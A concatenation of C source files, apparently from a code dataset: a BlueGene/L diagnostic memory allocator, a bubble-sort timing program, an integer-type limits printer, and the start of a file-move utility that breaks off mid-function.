// Program: BlueGene/L Advanced Diagnostics Environment (BLADE)
//
// Author: Mark E. Giampapa ([email protected])
//
// Notes: Separate memory pools per core, but in Symmetric-Mode, each
// core can access the other's allocated memory (implicitly shared).
// Each allocation is L1-D Cache Aligned (32B) and is rounded up
// to a multiple of L1-D line size to prevent false sharing.
// An allocation must be freed by same core that allocated it.
// Realloc to shrink is efficient, but growing is malloc+copy+free.
//
///////////#include <blade.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
#define KILO (1024)
#define K_DATA /**/
#define ALIGN_L3_CACHE /**/
#define s0printf printf
#define CONFIG_MALLOC_SUPPORT 1
#if defined( CONFIG_MALLOC_SUPPORT )
#if 1
static inline int
hard_processor_id()
{
return( 0 );
}
static inline int cntlz( uint32_t v )
{
int i;
uint32_t z;
for ( i = 0, z = 0x80000000 ; i < 32 ; i++, z >>= 1 )
if ( v & z )
return(i);
return(32);
}
#endif
#define _BL_MALLOC_DEBUG (0)
//#define _BL_MALLOC_DEBUG (1)
//#define _BL_MALLOC_DEBUG (2)
//#define _BL_MALLOC_DEBUG (3) // you'll be sorry
#if _BL_MALLOC_DEBUG > 0
#define _BLMDB1( Args ) do { TRC_MSG_FCN Args ; } while(0)
#define _BLMDB1_Fcn( Fcn ) do { Fcn ; } while(0)
#else
#define _BLMDB1( Args ) do { /* nothing */ } while(0)
#define _BLMDB1_Fcn( Fcn ) do { /* nothing */ } while(0)
#endif
#if _BL_MALLOC_DEBUG > 1
#define _BLMDB2( Args ) do { TRC_MSG_FCN Args ; } while(0)
#define _BLMDB2_Fcn( Fcn ) do { Fcn ; } while(0)
#else
#define _BLMDB2( Args ) do { /* nothing */ } while(0)
#define _BLMDB2_Fcn( Fcn ) do { /* nothing */ } while(0)
#endif
#if _BL_MALLOC_DEBUG > 2
#define _BLMDB3( Args ) do { TRC_MSG_FCN Args ; } while(0)
#define _BLMDB3_Fcn( Fcn ) do { Fcn ; } while(0)
#else
#define _BLMDB3( Args ) do { /* nothing */ } while(0)
#define _BLMDB3_Fcn( Fcn ) do { /* nothing */ } while(0)
#endif
//#define _BLM_CRASH(rc) Sim_Terminate( (rc) )
#define _BLM_CRASH(rc) (printf("crash\n"),exit(-1));
#define _BL_ROUND_UP_CACHELINE(v) (((v) + 0x1F) & ~0x1F)
#define _BL_ROUND_DOWN_CACHELINE(v) ((v) & ~0x1F)
#define _BLMEMCHUNK_POOL_SIZE (1UL * KILO)
// This malloc manages cachelines (32 bytes), so
// lower 5 bits of addr are available for flags
#define _BLMEMCHUNK_ADDR_MASK (0xFFFFFFE0)
#define _BLMEMCHUNK_ADDR_FREE (0x00000001)
// MemChunk: track free/busy memory (@MG: rework for smaller size)
// MemChunks can be in 3 states:
// 1) in the free_pool
// 2) in the free_chunks list organized by log2 of size. sorted by size within the list
// 3) busy_chunks, hashed by address for quick retrieval
// Allocations smaller than a chunk split the chunk into 2 chunks
// Frees of chunks attempt to coalesce chunks with free neighboring chunks
// So, all chunks have to be simultaneously free/busy and sorted by address
typedef struct T_BL_MemChunk
{
struct T_BL_MemChunk *next,
*prev,
*byaddr_next,
*byaddr_prev;
uint32_t addr,
size;
struct T_BL_MemChunkPool *my_pool;
}
_BL_MemChunk;
// Note: The first pool allocated can never be freed because
// 2 of it's chunks are always used: one for free memory,
// and the second for itself.
typedef struct T_BL_MemChunkPool
{
struct T_BL_MemChunkPool *next,
*prev;
int used_count;
_BL_MemChunk *last_chunk; // emergency use to alloc new pool
_BL_MemChunk *chunk_anchor;
_BL_MemChunk chunks[ _BLMEMCHUNK_POOL_SIZE ];
}
_BL_MemChunkPool;
typedef struct T_BL_MemMgr
{
uint32_t mem_start,
mem_size,
mem_avail,
mem_busy;
uint32_t busy_count;
_BL_MemChunk *byaddr_anchor;
_BL_MemChunk *free_chunks[ 32 ]; // arranged by log2 of size
_BL_MemChunk *busy_chunks[ 256 ]; // open-hashed on address
_BL_MemChunkPool *pool_anchor;
_BL_MemChunkPool *free_pool_later_anchor; // de-recurse free
}
_BL_MemMgr;
static _BL_MemMgr K_DATA _blMemMgrC0 ALIGN_L3_CACHE = { 0, };
static _BL_MemMgr K_DATA _blMemMgrC1 ALIGN_L3_CACHE = { 0, };
// forward decls
static void *_bl_MemMgr_Malloc( _BL_MemMgr *mgr, uint32_t rbytes, _BL_MemChunk *new_chunk );
//// extern void _blade_vmm_sbrk_Claim( uint32_t *vstart, size_t *mem_bytes );
void _blade_vmm_sbrk_Claim( uint32_t *vstart, size_t *mem_bytes )
{
* mem_bytes = 500 * 1024 * 1024;
* vstart = (uint32_t) malloc( * mem_bytes );
}
static inline void _bl_MemMgr_InitQByAddr( _BL_MemChunk *chunk )
{
chunk->byaddr_next = NULL;
chunk->byaddr_prev = NULL;
}
static inline void _bl_MemMgr_EnQByAddr( _BL_MemMgr *mgr, _BL_MemChunk *n, _BL_MemChunk *o )
{
_BLMDB3(("EnQ: new->addr = 0x%08x, old->addr = 0x%08x\n", n->addr, o->addr ));
if ( n->addr < o->addr )
{
s0printf("(E) _bl_MemMgr Internal Error: _EnQByAddr: new < old\n");
_BLM_CRASH( 3 );
}
if ( (n->byaddr_next = o->byaddr_next) )
n->byaddr_next->byaddr_prev = n;
o->byaddr_next = n;
n->byaddr_prev = o;
}
static inline void _bl_MemMgr_DeQByAddr( _BL_MemMgr *mgr, _BL_MemChunk *c )
{
if ( c->byaddr_prev )
c->byaddr_prev->byaddr_next = c->byaddr_next;
else
mgr->byaddr_anchor = c->byaddr_next;
if ( c->byaddr_next )
c->byaddr_next->byaddr_prev = c->byaddr_prev;
c->byaddr_next = NULL;
c->byaddr_prev = NULL;
}
static inline int _bl_MemMgr_BusyAddrHash( uint32_t v )
{
int a,b;
// Large allocations given equal weight as small allocations
a = ((v & 0x03FC0000) >> 18); // big ones
b = ((v & 0x00007F80) >> 7); // small ones
_BLMDB3(("_bl_MemMgr_BusyAddrHash 0x%08x: a = %d, b = %d, a+b = %d\n", v, a, b, (a+b) ));
return( (a + b) & 0xFF );
}
static inline int _bl_MemMgr_GetBucket( uint32_t v )
{
int b = cntlz(v);
_BLMDB3(("cntlz(0x%08x) = %d\n", v, cntlz(v) ));
if ( b == 0 )
return( 31 );
else if ( b > 27 )
return( 5 );
else
return( 32 - b );
}
#if _BL_MALLOC_DEBUG > 1
void _showFreePool( _BL_MemMgr *mgr )
{
int i, j;
_BL_MemChunkPool *pool = mgr->pool_anchor;
_BL_MemChunk *ch;
if ( !pool )
{
s0printf("(E) _showFreePool: No pool!\n");
return;
}
for ( j = 0 ; pool ; pool = pool->next , j++ )
{
s0printf("(I) Free Pool(%d):\n", j );
for ( i = 0, ch = pool->chunk_anchor ; ch ; ch = ch->next, i++ )
s0printf(" %2d.%4d: 0x%08x\n", j, i, (uint32_t)ch );
}
}
void _showFreeChunks( _BL_MemMgr *mgr )
{
int i, cnt;
_BL_MemChunk *ch;
for ( i = 0 ; i < 32 ; i++ )
{
cnt = 0;
s0printf("Free Chunks[%2d]:", i );
for ( ch = mgr->free_chunks[i] ; ch ; ch = ch->next )
{
cnt++;
s0printf(" 0x%08x@0x%08x", ch->size, ch->addr );
}
s0printf(". (%d)\n", cnt );
}
}
void _showBusyChunks( _BL_MemMgr *mgr )
{
int i, j;
_BL_MemChunk *ch;
for ( i = 0 ; i < 256 ; i++ )
{
s0printf("Busy Chunks[%2d]: ", i );
for ( j = 0, ch = mgr->busy_chunks[i] ; ch ; ch = ch->next, j++ )
s0printf(" 0x%08x@0x%08x", ch->size, ch->addr );
s0printf(" (Total = %d).\n", j );
}
}
void _showByAddrList( _BL_MemMgr *mgr )
{
int i;
uint32_t a = 0;
_BL_MemChunk *ch = mgr->byaddr_anchor;
s0printf("_showByAddrList: start\n");
for ( i = 0 ; ch ; ch = ch->byaddr_next, i++ )
{
s0printf("[%3d]: 0x%08x@0x%08x %s\n", i, ch->size, ch->addr,
((ch->addr > a) ? "Ok" : "ERROR") );
a = ch->addr;
}
s0printf("_showByAddrList: done.\n");
}
void _showStats( _BL_MemMgr *mgr )
{
s0printf("_showStats: mem_start = 0x%08x, mem_size = 0x%08x\n",
mgr->mem_start, mgr->mem_size );
s0printf("_showStats: mem_avail = 0x%08x, mem_busy = 0x%08x, busy_count = %d.\n",
mgr->mem_avail, mgr->mem_busy, mgr->busy_count );
_showFreeChunks( mgr );
_showByAddrList( mgr );
}
void _showBusy( _BL_MemMgr *mgr )
{
s0printf("_showStats: mem_avail = %u, mem_busy = %u.\n",
mgr->mem_avail, mgr->mem_busy );
}
#endif // _BL_MALLOC_DEBUG > 0
// remove specific chunk from it's bucket
static inline void _bl_MemMgr_DeQFreeMemChunk( _BL_MemMgr *mgr, _BL_MemChunk *chunk )
{
int b = _bl_MemMgr_GetBucket( chunk->size );
if ( chunk->prev )
chunk->prev->next = chunk->next;
else
mgr->free_chunks[b] = chunk->next;
if ( chunk->next )
chunk->next->prev = chunk->prev;
chunk->next = NULL;
chunk->prev = NULL;
mgr->mem_avail -= chunk->size;
}
// insert into appropriate bucket sorted by size
static void _bl_MemMgr_EnQFreeMemChunk( _BL_MemMgr *mgr, _BL_MemChunk *chunk )
{
int b = _bl_MemMgr_GetBucket( chunk->size );
_BL_MemChunk *t, *tn;
_BLMDB1_Fcn( if ( !chunk->addr || !chunk->size )
{
s0printf("(E) _bl_MemMgr_EnQFreeMemChunk: chunk->addr = 0x%08x chunk->size = 0x%08x\n",
chunk->addr, chunk->size );
_BLM_CRASH( -1 );
}
if ( chunk->next || chunk->prev )
{
s0printf("(E) _bl_MemMgr_EnQFreeMemChunk: chunk->next = 0x%08x chunk->prev = 0x%08x\n",
(uint32_t)chunk->next, (uint32_t)chunk->prev );
_BLM_CRASH( -1 );
} );
if ( (t = mgr->free_chunks[b]) )
{
// skip t past smaller chunks
for ( tn = t->next ; tn ; tn = tn->next )
{
if ( tn->size <= chunk->size )
break;
t = tn;
}
// insert before t
chunk->next = t;
if ( (chunk->prev = t->prev) )
chunk->prev->next = chunk;
t->prev = chunk;
}
else
{
// bucket is empty
mgr->free_chunks[b] = chunk;
chunk->next = NULL;
chunk->prev = NULL;
}
chunk->addr |= _BLMEMCHUNK_ADDR_FREE;
mgr->mem_avail += chunk->size;
}
// insert into busy mem hash bucket
// newest chunks at head because more like to free newer chunks
static inline void _bl_MemMgr_EnQBusyMemChunk( _BL_MemMgr *mgr, _BL_MemChunk *chunk )
{
int busybuck = _bl_MemMgr_BusyAddrHash( chunk->addr );
if ( (chunk->next = mgr->busy_chunks[busybuck]) )
chunk->next->prev = chunk;
mgr->busy_chunks[busybuck] = chunk;
chunk->prev = NULL;
mgr->mem_busy += chunk->size;
mgr->busy_count++;
}
// find busy chunk and remove it from it's hash bucket
static inline _BL_MemChunk *_bl_MemMgr_DeQBusyMemChunk( _BL_MemMgr *mgr, uint32_t addr )
{
int busybucket = _bl_MemMgr_BusyAddrHash( addr );
_BL_MemChunk *t;
for ( t = mgr->busy_chunks[busybucket] ; t ; t = t->next )
{
if ( t->addr == addr )
break;
}
if ( !t )
return( NULL );
if ( t->prev )
{
t->prev->next = t->next;
if ( t->next )
t->next->prev = t->prev;
}
else // !t->prev
{
mgr->busy_chunks[busybucket] = t->next;
if ( t->next )
t->next->prev = NULL;
}
t->next = NULL;
t->prev = NULL;
mgr->mem_busy -= t->size;
mgr->busy_count--;
return( t );
}
static void _bl_MemMgr_ChunkFreePoolInit( _BL_MemChunkPool *pool )
{
int i;
_BL_MemChunk *c;
memset( pool, 0, sizeof(_BL_MemChunkPool) );
// save 1 chunk for emergency use (allocation of new pools)
c = &(pool->chunks[0]);
c->my_pool = pool;
pool->last_chunk = c;
// free list the rest of the chunks
for ( i = 1 ; i < _BLMEMCHUNK_POOL_SIZE ; i++ )
{
c = &(pool->chunks[i]);
c->my_pool = pool;
if ( (c->next = pool->chunk_anchor) )
c->next->prev = c;
c->prev = NULL;
pool->chunk_anchor = c;
}
}
static void _bl_MemMgr_Chunk2FreePool( _BL_MemMgr *mgr, _BL_MemChunk *chunk )
{
_BL_MemChunkPool *pool = chunk->my_pool;
if ( !pool )
{
s0printf("(E) _bl_MemMgr_Chunk2FreePool: No pool!\n");
_BLM_CRASH( -4 );
}
if ( chunk->size )
s0printf("(E) _bl_MemMgr_Chunk2FreePool: chunk not empty! size = %d\n", chunk->size );
if ( !(pool->last_chunk) )
{
pool->last_chunk = chunk;
chunk->next = NULL;
chunk->prev = NULL;
}
else
{
if ( (chunk->next = pool->chunk_anchor) )
chunk->next->prev = chunk;
chunk->prev = NULL;
pool->chunk_anchor = chunk;
}
_bl_MemMgr_InitQByAddr( chunk );
pool->used_count--;
if ( !pool->used_count )
{
//@MG: Free cannot recurse!
_BLMDB2(("(I) _bl_MemMgr_Chunk2FreePool: Freeing Pool at 0x%08x!\n", (uint32_t)pool ));
if ( pool->prev )
{
pool->prev->next = pool->next;
if ( pool->next )
pool->next->prev = pool->prev;
}
else // !pool->prev
{
if ( pool->next )
pool->next->prev = NULL;
}
pool->next = mgr->free_pool_later_anchor;
pool->prev = NULL;
mgr->free_pool_later_anchor = pool;
}
}
static _BL_MemChunk *_bl_MemMgr_GetFreePoolChunk( _BL_MemMgr *mgr )
{
_BL_MemChunk *c = NULL;
_BL_MemChunkPool *tpool, *new_pool, *first_pool;
for ( first_pool = NULL, tpool = mgr->pool_anchor ; tpool ; tpool = tpool->next )
{
if ( !first_pool )
if ( tpool->last_chunk )
first_pool = tpool;
if ( (c = tpool->chunk_anchor) )
break;
}
if ( c )
{
tpool = c->my_pool;
if ( (tpool->chunk_anchor = c->next) )
tpool->chunk_anchor->prev = NULL;
c->next = NULL;
c->prev = NULL;
tpool->used_count++;
return( c );
}
if ( !first_pool )
{
_BLMDB1(("_bl_MemMgr_GetFreePoolChunk: No pool with last_chunk!\n"));
return( NULL );
}
else
{
_BLMDB2(("_bl_MemMgr_GetFreePoolChunk: Growing Free Pool!\n"));
if ( !(c = first_pool->last_chunk) )
return( NULL );
first_pool->last_chunk = NULL;
first_pool->used_count++;
// note: if alloc fails, last_chunk is restored
new_pool = _bl_MemMgr_Malloc( mgr,
_BL_ROUND_UP_CACHELINE( sizeof(_BL_MemChunkPool) ),
c );
if ( !new_pool )
{
_BLMDB1(("_bl_MemMgr_GetFreePoolChunk: malloc fails for new pool!\n"));
return( NULL );
}
_bl_MemMgr_ChunkFreePoolInit( new_pool );
// new pool has to go on end of list so it's chunks are used last
for ( tpool = mgr->pool_anchor ; tpool ; tpool = tpool->next )
if ( !tpool->next )
break;
tpool->next = new_pool;
new_pool->prev = tpool;
// grab a chunk from the new chunk pool
c = new_pool->chunk_anchor;
if ( (new_pool->chunk_anchor = c->next) )
new_pool->chunk_anchor->prev = NULL;
c->next = NULL;
c->prev = NULL;
new_pool->used_count++;
}
return( c );
}
static void _bl_MemMgr_FreeChunk( _BL_MemMgr *mgr, _BL_MemChunk *chunk )
{
_BL_MemChunk *t;
if ( !chunk->addr || !chunk->size )
{
_BLMDB1(("(E) _bl_MemMgr_FreeChunk: chunk->addr = 0x%08x chunk->size = 0x%08x\n",
chunk->addr, chunk->size ));
_BLM_CRASH( -1 );
}
// can we merge this chunk with free neighbors?
if ( (t = chunk->byaddr_prev) )
{
if ( t->addr & _BLMEMCHUNK_ADDR_FREE )
{
_BLMDB2(("_bl_MemMgr_FreeChunk: (prev) merge chunk@0x%08x(%d) with free@0x%08x(%d)\n",
chunk->addr, chunk->size, t->addr, t->size ));
_bl_MemMgr_DeQFreeMemChunk( mgr, t );
t->size += chunk->size;
chunk->addr = 0;
chunk->size = 0;
_bl_MemMgr_DeQByAddr( mgr, chunk );
_bl_MemMgr_Chunk2FreePool( mgr, chunk );
chunk = t;
}
}
if ( (t = chunk->byaddr_next) )
{
if ( t->addr & _BLMEMCHUNK_ADDR_FREE )
{
_BLMDB2(("_bl_MemMgr_FreeChunk: (next) merge chunk@0x%08x(%d) with free@0x%08x(%d)\n",
chunk->addr, chunk->size, t->addr, t->size ));
_bl_MemMgr_DeQFreeMemChunk( mgr, t );
chunk->size += t->size;
t->addr = 0;
t->size = 0;
_bl_MemMgr_DeQByAddr( mgr, t );
_bl_MemMgr_Chunk2FreePool( mgr, t );
}
}
_bl_MemMgr_EnQFreeMemChunk( mgr, chunk );
}
// low-level malloc: rbytes pre-checked and new_chunk pre-allocated
static void *_bl_MemMgr_Malloc( _BL_MemMgr *mgr, uint32_t rbytes, _BL_MemChunk *new_chunk )
{
_BL_MemChunk *ch;
int need_buck = _bl_MemMgr_GetBucket( rbytes );
int have_buck;
// find smallest available chunk in smallest bucket that fits this allocation
for ( have_buck = need_buck ; have_buck < 32 ; have_buck++ )
{
if ( mgr->free_chunks[have_buck] )
break;
}
if ( have_buck >= 32 )
{
_bl_MemMgr_Chunk2FreePool( mgr, new_chunk );
return(NULL);
}
// search for smallest chunk in this bucket that fits this allocation
for ( ch = mgr->free_chunks[have_buck] ; ch ; ch = ch->next )
{
if ( ch->size >= rbytes )
break;
}
if ( ! ch )
{
_bl_MemMgr_Chunk2FreePool( mgr, new_chunk );
return( NULL );
}
// remove chunk from free mem bucket
_bl_MemMgr_DeQFreeMemChunk( mgr, ch );
// do we have to split the chunk?
if ( ch->size > rbytes )
{
// split this chunk into ch (the allocation) and new_chunk (the left-over)
new_chunk->addr = ch->addr + rbytes;
new_chunk->size = ch->size - rbytes;
ch->size = rbytes;
_bl_MemMgr_EnQByAddr( mgr, new_chunk, ch );
// return left-over in new_chunk to free pool
_bl_MemMgr_EnQFreeMemChunk( mgr, new_chunk );
}
else
{
// we didn't need new_chunk afterall, so free it
_bl_MemMgr_Chunk2FreePool( mgr, new_chunk );
}
// clear the free flag
ch->addr &= _BLMEMCHUNK_ADDR_MASK;
// put chunk on busy list
_bl_MemMgr_EnQBusyMemChunk( mgr, ch );
return( (void *)ch->addr );
}
//
// Public routines: malloc, calloc, free, realloc, and _blade_Malloc_Init.
//
void *bgl_malloc( size_t bytes )
{
_BL_MemMgr *mgr;
_BL_MemChunk *new_chunk;
uint32_t rbytes = _BL_ROUND_UP_CACHELINE( bytes );
if ( hard_processor_id() )
mgr = &_blMemMgrC1;
else
mgr = &_blMemMgrC0;
_BLMDB2(("_blMalloc: 0x%08x bytes = 0x%08x rbytes.\n", bytes, rbytes ));
if ( (bytes == 0) || (mgr->mem_avail < rbytes) )
return( NULL );
// get chunk from free chunk pool (if none, fail allocation)
if ( !(new_chunk = _bl_MemMgr_GetFreePoolChunk(mgr)) )
return( NULL );
return _bl_MemMgr_Malloc( mgr, rbytes, new_chunk );
}
void *bgl_calloc( size_t nmemb, size_t size )
{
uint32_t bytes = (nmemb * size);
void *mem = malloc( bytes );
if ( mem )
memset( mem, 0, bytes );
return( mem );
}
void bgl_free( void *addr )
{
_BL_MemMgr *mgr;
_BL_MemChunk *chunk;
uint32_t a = (uint32_t)addr;
if ( hard_processor_id() )
mgr = &_blMemMgrC1;
else
mgr = &_blMemMgrC0;
_BLMDB2(("(I) _blFree: free addr 0x%08x.\n", a ));
if ( !(chunk = _bl_MemMgr_DeQBusyMemChunk( mgr, a )) )
{
s0printf("(E) _blFree: addr 0x%08x not allocated!\n", a );
_BLMDB2_Fcn(( _showByAddrList( mgr ) ));
_BLM_CRASH( -2 );
}
_bl_MemMgr_FreeChunk( mgr, chunk );
while ( mgr->free_pool_later_anchor )
{
a = (uint32_t)mgr->free_pool_later_anchor;
mgr->free_pool_later_anchor = mgr->free_pool_later_anchor->next;
_BLMDB2(("(I) _blFree De-Recurse: free addr 0x%08x.\n", a ));
if ( !(chunk = _bl_MemMgr_DeQBusyMemChunk( mgr, a )) )
{
s0printf("(E) _blFree De-Recurse: addr 0x%08x not allocated!\n", a );
_BLMDB2_Fcn(( _showByAddrList( mgr )));
_BLM_CRASH(-2);
}
_bl_MemMgr_FreeChunk( mgr, chunk );
}
}
void *bgl_realloc( void *addr, size_t size )
{
_BL_MemMgr *mgr;
uint32_t a = (uint32_t)addr;
int busybucket = _bl_MemMgr_BusyAddrHash( a );
uint32_t new_size = _BL_ROUND_UP_CACHELINE( size );
_BL_MemChunk *t, *new_chunk;
if ( hard_processor_id() )
mgr = &_blMemMgrC1;
else
mgr = &_blMemMgrC0;
// realloc to zero == free()
if ( !new_size )
{
free( addr );
return( NULL );
}
// realloc( NULL, ... ) == malloc( ... )
if ( !a )
return malloc( size );
// find the old allocation
for ( t = mgr->busy_chunks[busybucket] ; t ; t = t->next )
{
if ( t->addr == a )
break;
}
if ( !t )
{
s0printf("(E) _blRealloc: addr 0x%08x not allocated!\n", a );
_BLMDB2_Fcn(( _showByAddrList( mgr )));
return( NULL );
}
if ( new_size == t->size )
{
return( addr );
}
// to grow or shrink we need a chunk
if ( !(new_chunk = _bl_MemMgr_GetFreePoolChunk(mgr)) )
return( NULL );
if ( new_size < t->size )
{
// shrink the allocation by splitting the chunk
uint32_t diff = (t->size - new_size);
t->size -= diff;
mgr->mem_busy -= diff;
new_chunk->addr = (t->addr + diff);
new_chunk->size = diff;
new_chunk->addr |= _BLMEMCHUNK_ADDR_FREE;
// hook in new chunk
_bl_MemMgr_EnQByAddr( mgr, new_chunk, t );
// free the left-over (old chunk stays busy, just got smaller)
_bl_MemMgr_FreeChunk( mgr, new_chunk );
return( (void *)t->addr );
}
else
{
// grow the allocation (Malloc frees chunk if failure)
void *new_mem = _bl_MemMgr_Malloc( mgr, new_size, new_chunk );
if ( !new_mem )
return( NULL );
memcpy( new_mem, addr, t->size );
free( addr );
return( new_mem );
}
// not reached
}
void _blade_Malloc_Init( void )
{
_BL_MemMgr *mgr;
_BL_MemChunk *pch, *fch; // chunks for pool and free mem
uint32_t psz = _BL_ROUND_UP_CACHELINE( sizeof(_BL_MemChunkPool) );
uint32_t start = 0;
size_t bytes = 0;
if ( hard_processor_id() )
mgr = &_blMemMgrC1;
else
mgr = &_blMemMgrC0;
_BLMDB2(("(I) _blMalloc_Init: sizeof(_BL_MemMgr) = %d, sizeof(_BL_MemChunkPool) = %d, psz = %d, sizeof(_BL_MemChunk) = %d.\n",
sizeof(_BL_MemMgr), sizeof(_BL_MemChunkPool), psz, sizeof(_BL_MemChunk) ));
memset( mgr, 0, sizeof(_BL_MemMgr) );
_blade_vmm_sbrk_Claim( &start, &bytes );
if ( !start || !bytes )
{
s0printf("(E) _blMalloc_Init: No Memory!\n");
_BLM_CRASH( -1 );
}
_BLMDB1(("(I) _blMalloc_Init[%d]: start = 0x%08x, bytes = %d.\n",
hard_processor_id(), start, bytes ));
mgr->mem_start = _BL_ROUND_UP_CACHELINE( start );
mgr->mem_size = _BL_ROUND_DOWN_CACHELINE( bytes );
mgr->mem_avail = 0;
mgr->mem_busy = 0;
// grab the initial chunk pool
mgr->pool_anchor = (_BL_MemChunkPool *)mgr->mem_start;
_bl_MemMgr_ChunkFreePoolInit( mgr->pool_anchor );
// create the initial pool chunk and free chunk
pch = _bl_MemMgr_GetFreePoolChunk(mgr);
fch = _bl_MemMgr_GetFreePoolChunk(mgr);
if ( !pch || !fch )
{
s0printf("(E) _blMalloc_Init: Could not get initial free & pool chunks!\n");
_BLM_CRASH( -6 );
}
pch->addr = mgr->mem_start;
pch->size = psz;
mgr->byaddr_anchor = pch;
fch->addr = (mgr->mem_start + psz);
fch->size = (mgr->mem_size - psz);
fch->addr |= _BLMEMCHUNK_ADDR_FREE;
_bl_MemMgr_EnQByAddr( mgr, fch, pch );
// put free mem in free pool
_bl_MemMgr_EnQFreeMemChunk( mgr, fch );
// put pool chunk on busy list
_bl_MemMgr_EnQBusyMemChunk( mgr, pch );
}
#else // not CONFIG_MALLOC_SUPPORT
void *malloc( size_t bytes ) { return( (void *)0); }
void *calloc( size_t nmemb, size_t size ) { return( (void *)0); }
void free( void *addr ) { return; }
void *realloc( void *addr, size_t size ) { return( (void *)0); }
void _blade_Malloc_Init( void ) { return; }
#endif // CONFIG_MALLOC_SUPPORT
void
main( int argc, char ** argv, char** envp )
{
_blade_Malloc_Init( );
char * m = bgl_malloc( 10 );
bgl_free( m );
return;
}
|
the_stack_data/118567.c | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define SIZE 5000
void generate_array(int *arr) {
for (int i = 0; i < SIZE; i++) {
arr[i] = rand() % 10000;
}
}
void swap(int *x, int *y) {
int temp = *x;
*x = *y;
*y = temp;
}
void bubbleSort(int *arr, int n) {
for (int i = 0; i < n-1; i++) {
for (int j = 0; j < n-i-1; j++) {
if (arr[j+1] < arr[j]) {
swap(&arr[j], &arr[j+1]);
}
}
}
}
void mergeArrays(int *array1, int *array2, int *array3, int n1, int n2) {
int i = 0;
int j = 0;
int k = 0;
while (i < n1 && j < n2) {
// compare elements of two array
if (array1[i] < array2[j]) {
array3[k++] = array1[i++];
} else {
array3[k++] = array2[j++];
}
}
while (i < n1) {
array3[k++] = array1[i++];
}
while (j < n2) {
array3[k++] = array2[j++];
}
}
void printArrayInFile(int *arr, char *file_name) {
FILE *fp;
fp = fopen(file_name, "w+");
for (int i=0; i < SIZE; i++) {
fprintf(fp, "%d ", arr[i]);
}
fclose(fp);
printf("\n");
}
void printArray(int *arr, int n) {
for (int i=0; i < n; i++) {
printf("%d ", arr[i]);
}
printf("\n");
}
int main() {
int array[SIZE];
generate_array(array);
int l = 0;
int r = SIZE-1;
int m = l + (r - l) / 2;
int n1 = m - l + 1;
int n2 = r - m;
int array1[n1];
int array2[n2];
for (int i=0; i < n1; i++) {
array1[i] = array[l+i];
}
for (int i=0; i < n2; i++) {
array2[i] = array[m + 1 + i];
}
printf("\n");
int array3[SIZE];
clock_t begin = clock();
bubbleSort(array, SIZE);
clock_t end = clock();
double time_spent = (double)(end - begin) / CLOCKS_PER_SEC;
char file_name[100] = "part_2/results/sorting_result_n_5000.txt";
printArrayInFile(array, file_name);
printf("------------------------------------------------\n");
printf("Time spent for the BubbleSort for N=%d is %f seconds \n\n", SIZE, time_spent);
printf("---------------------------------------------------------------------------------\n");
begin = clock();
bubbleSort(array1, n1);
end = clock();
double time_spent_1 = (double)(end - begin) / CLOCKS_PER_SEC;
printf("------------------------------------------------\n");
printf("Time spent to sort first half with BubbleSort for N=%d is %f seconds \n\n", (SIZE/2), time_spent_1);
begin = clock();
bubbleSort(array2, n2);
end = clock();
double time_spent_2 = (double)(end - begin) / CLOCKS_PER_SEC;
printf("------------------------------------------------\n");
printf("Time spent to sort second half with BubbleSort for N=%d is %f seconds \n\n", (SIZE/2), time_spent_2);
begin = clock();
mergeArrays(array1, array2, array3, n1, n2);
end = clock();
double time_spent_3 = (double)(end - begin) / CLOCKS_PER_SEC;
printf("------------------------------------------------\n");
printf("Time spent to merge two halfs is %f seconds \n\n", time_spent_3);
double total_time = time_spent_1 + time_spent_2 + time_spent_3;
printf("------------------------------------------------\n");
printf("Total time spent to sort two halfs and merge them is %f seconds \n\n", total_time);
char file_name_merge[100] = "part_2/results/sorting_result_n_2500_merge_sort.txt";
printArrayInFile(array3, file_name_merge);
return 0;
}
|
the_stack_data/251740.c | // Andrew Taylor - [email protected]
// 16/9/2019
// Print size and min and max values of integer types
#include <stdio.h>
#include <limits.h>
int main(void) {
char c;
signed char sc;
unsigned char uc;
short s;
unsigned short us;
int i;
unsigned int ui;
long l;
unsigned long ul;
long long ll;
unsigned long long ull;
printf("%18s %5s %4s\n", "Type", "Bytes", "Bits");
printf("%18s %5lu %4lu\n", "char", sizeof c, 8 * sizeof c);
printf("%18s %5lu %4lu\n", "signed char", sizeof sc, 8 * sizeof sc);
printf("%18s %5lu %4lu\n", "unsigned char", sizeof uc, 8 * sizeof uc);
printf("%18s %5lu %4lu\n", "short", sizeof s, 8 * sizeof s);
printf("%18s %5lu %4lu\n", "unsigned short", sizeof us, 8 * sizeof us);
printf("%18s %5lu %4lu\n", "int", sizeof i, 8 * sizeof i);
printf("%18s %5lu %4lu\n", "unsigned int", sizeof ui, 8 * sizeof ui);
printf("%18s %5lu %4lu\n", "long", sizeof l, 8 * sizeof l);
printf("%18s %5lu %4lu\n", "unsigned long", sizeof ul, 8 * sizeof ul);
printf("%18s %5lu %4lu\n", "long long", sizeof ll, 8 * sizeof ll);
printf("%18s %5lu %4lu\n", "unsigned long long", sizeof ull, 8 * sizeof ull);
printf("\n%18s %20s %20s\n", "Type", "Min", "Max");
printf("%18s %20d %20d\n", "char", CHAR_MIN, CHAR_MAX);
printf("%18s %20d %20d\n", "signed char", SCHAR_MIN, SCHAR_MAX);
printf("%18s %20d %20d\n", "unsigned char", 0, UCHAR_MAX);
printf("%18s %20d %20d\n", "short", SHRT_MIN, SHRT_MAX);
printf("%18s %20d %20d\n", "unsigned short", 0, USHRT_MAX);
printf("%18s %20d %20d\n", "int", INT_MIN, INT_MAX);
printf("%18s %20d %20d\n", "unsigned int", 0, UINT_MAX);
printf("%18s %20ld %20ld\n", "long", LONG_MIN, LONG_MAX);
printf("%18s %20d %20lu\n", "unsigned long", 0, ULONG_MAX);
printf("%18s %20lld %20lld\n", "long long", LLONG_MIN, LLONG_MAX);
printf("%18s %20d %20llu\n", "unsigned long long", 0, ULLONG_MAX);
return 0;
}
|
the_stack_data/140764592.c | #include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <string.h>
void help(){
printf("This command moves a file in your current directory to any directory, if you want to move a file in other directory to any directory\n you can enter file name by giving directory,\nyou just need to enter a file name,\nthen enter a directory where you want to move\n");
}
void move()
{
DIR *directory;
char source_file[20], target_file[20],Currentpath[100],charr,del;
FILE *source, *target;
directory = opendir("./");
if (directory != NULL && getcwd(Currentpath, sizeof(Currentpath)) !=NULL)
{
fprintf(stdout, "\nYour current directory is: %s \n", getcwd(Currentpath, sizeof(Currentpath)));
closedir(directory);
}
